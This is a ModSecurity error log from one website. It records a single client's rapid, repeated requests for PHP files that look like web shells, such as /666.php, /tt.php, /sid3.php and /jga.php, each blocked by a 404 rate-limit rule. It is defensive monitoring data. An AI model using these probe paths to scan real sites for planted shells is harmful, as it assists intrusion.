[Thu Apr 23 21:18:20.227455 2026] [:error] [pid 43083:tid 43094] [client 158.158.123.88:33164] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeocHDC5hrvNXosL83J3qQAAAMk"]
[Thu Apr 23 21:18:20.453885 2026] [:error] [pid 42973:tid 43050] [client 158.158.123.88:31239] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeocHG6I0QqmmmLTHE0ZWgAAAIc"]
[Thu Apr 23 21:18:21.461530 2026] [:error] [pid 65000:tid 65051] [client 158.158.123.88:28149] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeocHb6vRb9j6psK2ZaBkwAAAhI"]
[Thu Apr 23 21:18:22.086009 2026] [:error] [pid 42973:tid 43055] [client 158.158.123.88:28763] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeocHm6I0QqmmmLTHE0ZXAAAAIw"]
[Thu Apr 23 21:18:23.203810 2026] [:error] [pid 64967:tid 64969] [client 158.158.123.88:62808] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeocH4AV4GfOOdX8Qzp1HAAAAYA"]
[Thu Apr 23 21:18:23.315620 2026] [:error] [pid 25635:tid 25650] [client 158.158.123.88:30016] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeocH8Rxv6UsgRGKB3IzcAAAAQs"]
[Thu Apr 23 21:18:24.904749 2026] [:error] [pid 59700:tid 59714] [client 158.158.123.88:62827] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeocIJXyGZJFeAIDWtkoBAAAAUw"]
[Thu Apr 23 21:18:25.236584 2026] [:error] [pid 25635:tid 25660] [client 158.158.123.88:52304] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeocIcRxv6UsgRGKB3IzeQAAARU"]
[Thu Apr 23 21:18:26.407757 2026] [:error] [pid 65000:tid 65031] [client 158.158.123.88:31267] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeocIr6vRb9j6psK2ZaBogAAAgI"]
[Thu Apr 23 21:18:26.757975 2026] [:error] [pid 65000:tid 65039] [client 158.158.123.88:54104] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeocIr6vRb9j6psK2ZaBpAAAAgY"]
[Thu Apr 23 21:18:28.136792 2026] [:error] [pid 65000:tid 65037] [client 158.158.123.88:4194] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeocJL6vRb9j6psK2ZaBqwAAAgQ"]
[Thu Apr 23 21:18:28.343915 2026] [:error] [pid 42973:tid 43058] [client 158.158.123.88:52308] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeocJG6I0QqmmmLTHE0ZYQAAAI8"]
[Thu Apr 23 21:18:29.516881 2026] [:error] [pid 64998:tid 65011] [client 158.158.123.88:31994] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeocJYV5EysYcTLjmwh4hQAAAck"]
[Thu Apr 23 21:18:29.765645 2026] [:error] [pid 64998:tid 65019] [client 158.158.123.88:52288] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeocJYV5EysYcTLjmwh4hgAAAdE"]
[Thu Apr 23 21:18:30.257692 2026] [:error] [pid 64998:tid 65023] [client 158.158.123.88:62786] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeocJoV5EysYcTLjmwh4igAAAdU"]
[Thu Apr 23 21:18:30.506626 2026] [:error] [pid 42972:tid 43021] [client 158.158.123.88:54768] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeocJsOAb-3sOknsk4c6UAAAAEU"]
[Thu Apr 23 21:18:30.856392 2026] [:error] [pid 64998:tid 65009] [client 158.158.123.88:4376] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeocJoV5EysYcTLjmwh4jQAAAcc"]
[Thu Apr 23 21:18:31.191190 2026] [:error] [pid 64998:tid 65021] [client 158.158.123.88:4379] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeocJ4V5EysYcTLjmwh4kAAAAdM"]
[Thu Apr 23 21:18:31.784716 2026] [:error] [pid 42972:tid 43024] [client 158.158.123.88:4407] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeocJ8OAb-3sOknsk4c6UwAAAEg"]
[Thu Apr 23 21:18:31.910268 2026] [:error] [pid 42972:tid 43020] [client 158.158.123.88:31947] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeocJ8OAb-3sOknsk4c6VAAAAEQ"]
[Thu Apr 23 21:18:32.509017 2026] [:error] [pid 65000:tid 65045] [client 158.158.123.88:33204] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeocKL6vRb9j6psK2ZaBtgAAAgw"]
[Thu Apr 23 21:18:32.711706 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:4375] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeocKL6vRb9j6psK2ZaBtwAAAhA"]
[Thu Apr 23 21:18:33.260542 2026] [:error] [pid 65000:tid 65050] [client 158.158.123.88:62792] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeocKb6vRb9j6psK2ZaBuwAAAhE"]
[Thu Apr 23 21:18:33.398453 2026] [:error] [pid 65000:tid 65032] [client 158.158.123.88:4394] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeocKb6vRb9j6psK2ZaBvgAAAgM"]
[Thu Apr 23 21:18:33.844559 2026] [:error] [pid 64998:tid 65011] [client 158.158.123.88:29391] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeocKYV5EysYcTLjmwh4mAAAAck"]
[Thu Apr 23 21:18:33.999332 2026] [:error] [pid 65000:tid 65047] [client 158.158.123.88:54080] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeocKb6vRb9j6psK2ZaBxAAAAg4"]
[Thu Apr 23 21:18:34.461310 2026] [:error] [pid 65000:tid 65045] [client 158.158.123.88:31944] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeocKr6vRb9j6psK2ZaBxwAAAgw"]
[Thu Apr 23 21:18:34.639961 2026] [:error] [pid 65000:tid 65050] [client 158.158.123.88:54741] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeocKr6vRb9j6psK2ZaBygAAAhE"]
[Thu Apr 23 21:18:35.101451 2026] [:error] [pid 65000:tid 65042] [client 158.158.123.88:54092] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeocK76vRb9j6psK2ZaB0QAAAgk"]
[Thu Apr 23 21:18:35.325206 2026] [:error] [pid 65000:tid 65051] [client 158.158.123.88:62801] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeocK76vRb9j6psK2ZaB1QAAAhI"]
[Thu Apr 23 21:18:35.686512 2026] [:error] [pid 65000:tid 65050] [client 158.158.123.88:52314] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeocK76vRb9j6psK2ZaB2wAAAhE"]
[Thu Apr 23 21:18:35.939873 2026] [:error] [pid 65000:tid 65032] [client 158.158.123.88:62811] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeocK76vRb9j6psK2ZaB3wAAAgM"]
[Thu Apr 23 21:18:36.299245 2026] [:error] [pid 46953:tid 46958] [client 158.158.123.88:28128] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeocLEnlpdHh-P6wKbo32QAAAkI"]
[Thu Apr 23 21:18:36.605080 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:4211] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeocLL6vRb9j6psK2ZaB6QAAAhA"]
[Thu Apr 23 21:18:37.000782 2026] [:error] [pid 65000:tid 65031] [client 158.158.123.88:4412] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeocLb6vRb9j6psK2ZaB7QAAAgI"]
[Thu Apr 23 21:18:37.255689 2026] [:error] [pid 46953:tid 46965] [client 158.158.123.88:29397] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeocLUnlpdHh-P6wKbo32wAAAkk"]
[Thu Apr 23 21:18:37.821595 2026] [:error] [pid 42972:tid 43028] [client 158.158.123.88:29405] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeocLcOAb-3sOknsk4c6XQAAAEw"]
[Thu Apr 23 21:18:37.894267 2026] [:error] [pid 64998:tid 65004] [client 158.158.123.88:54746] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeocLYV5EysYcTLjmwh4nAAAAcI"]
[Thu Apr 23 21:18:38.600788 2026] [:error] [pid 46953:tid 46956] [client 158.158.123.88:30061] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeocLknlpdHh-P6wKbo33gAAAkA"]
[Thu Apr 23 21:18:38.603373 2026] [:error] [pid 65000:tid 65031] [client 158.158.123.88:4412] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeocLr6vRb9j6psK2ZaB-wAAAgI"]
[Thu Apr 23 21:18:39.591825 2026] [:error] [pid 64998:tid 65018] [client 158.158.123.88:33188] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeocL4V5EysYcTLjmwh4qQAAAdA"]
[Thu Apr 23 21:18:39.917329 2026] [:error] [pid 46953:tid 46975] [client 158.158.123.88:4198] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeocL0nlpdHh-P6wKbo33wAAAlM"]
[Thu Apr 23 21:18:40.796810 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:33160] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeocML6vRb9j6psK2ZaCBgAAAhA"]
[Thu Apr 23 21:18:41.057077 2026] [:error] [pid 42973:tid 43061] [client 158.158.123.88:54782] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeocMW6I0QqmmmLTHE0ZZQAAAJI"]
[Thu Apr 23 21:18:42.048131 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:62790] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeocMr6vRb9j6psK2ZaCFwAAAhA"]
[Thu Apr 23 21:18:42.048503 2026] [:error] [pid 65000:tid 65031] [client 158.158.123.88:54752] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeocMr6vRb9j6psK2ZaCGAAAAgI"]
[Thu Apr 23 21:18:42.591578 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:5046] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeocMr6vRb9j6psK2ZaCHgAAAhg"]
[Thu Apr 23 21:18:42.719561 2026] [:error] [pid 46953:tid 46973] [client 158.158.123.88:49595] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeocMknlpdHh-P6wKbo34AAAAlE"]
[Thu Apr 23 21:18:43.584440 2026] [:error] [pid 42973:tid 43051] [client 158.158.123.88:54767] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeocM26I0QqmmmLTHE0ZZgAAAIg"]
[Thu Apr 23 21:18:43.603014 2026] [:error] [pid 46953:tid 46979] [client 158.158.123.88:31245] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeocM0nlpdHh-P6wKbo34QAAAlY"]
[Thu Apr 23 21:18:46.071484 2026] [:error] [pid 64998:tid 65025] [client 158.158.123.88:4369] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeocNoV5EysYcTLjmwh4vQAAAdc"]
[Thu Apr 23 21:18:46.680647 2026] [:error] [pid 64967:tid 64981] [client 158.158.123.88:49542] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeocNoAV4GfOOdX8Qzp1MQAAAYw"]
[Thu Apr 23 21:18:49.270772 2026] [:error] [pid 65000:tid 65030] [client 158.158.123.88:4993] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeocOb6vRb9j6psK2ZaCPAAAAgE"]
[Thu Apr 23 21:18:49.293641 2026] [:error] [pid 42972:tid 43020] [client 158.158.123.88:49577] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeocOcOAb-3sOknsk4c6cAAAAEQ"]
[Thu Apr 23 21:18:51.349746 2026] [:error] [pid 46953:tid 46965] [client 158.158.123.88:28124] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeocO0nlpdHh-P6wKbo35gAAAkk"]
[Thu Apr 23 21:18:52.213735 2026] [:error] [pid 42973:tid 43062] [client 158.158.123.88:62847] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeocPG6I0QqmmmLTHE0ZbQAAAJM"]
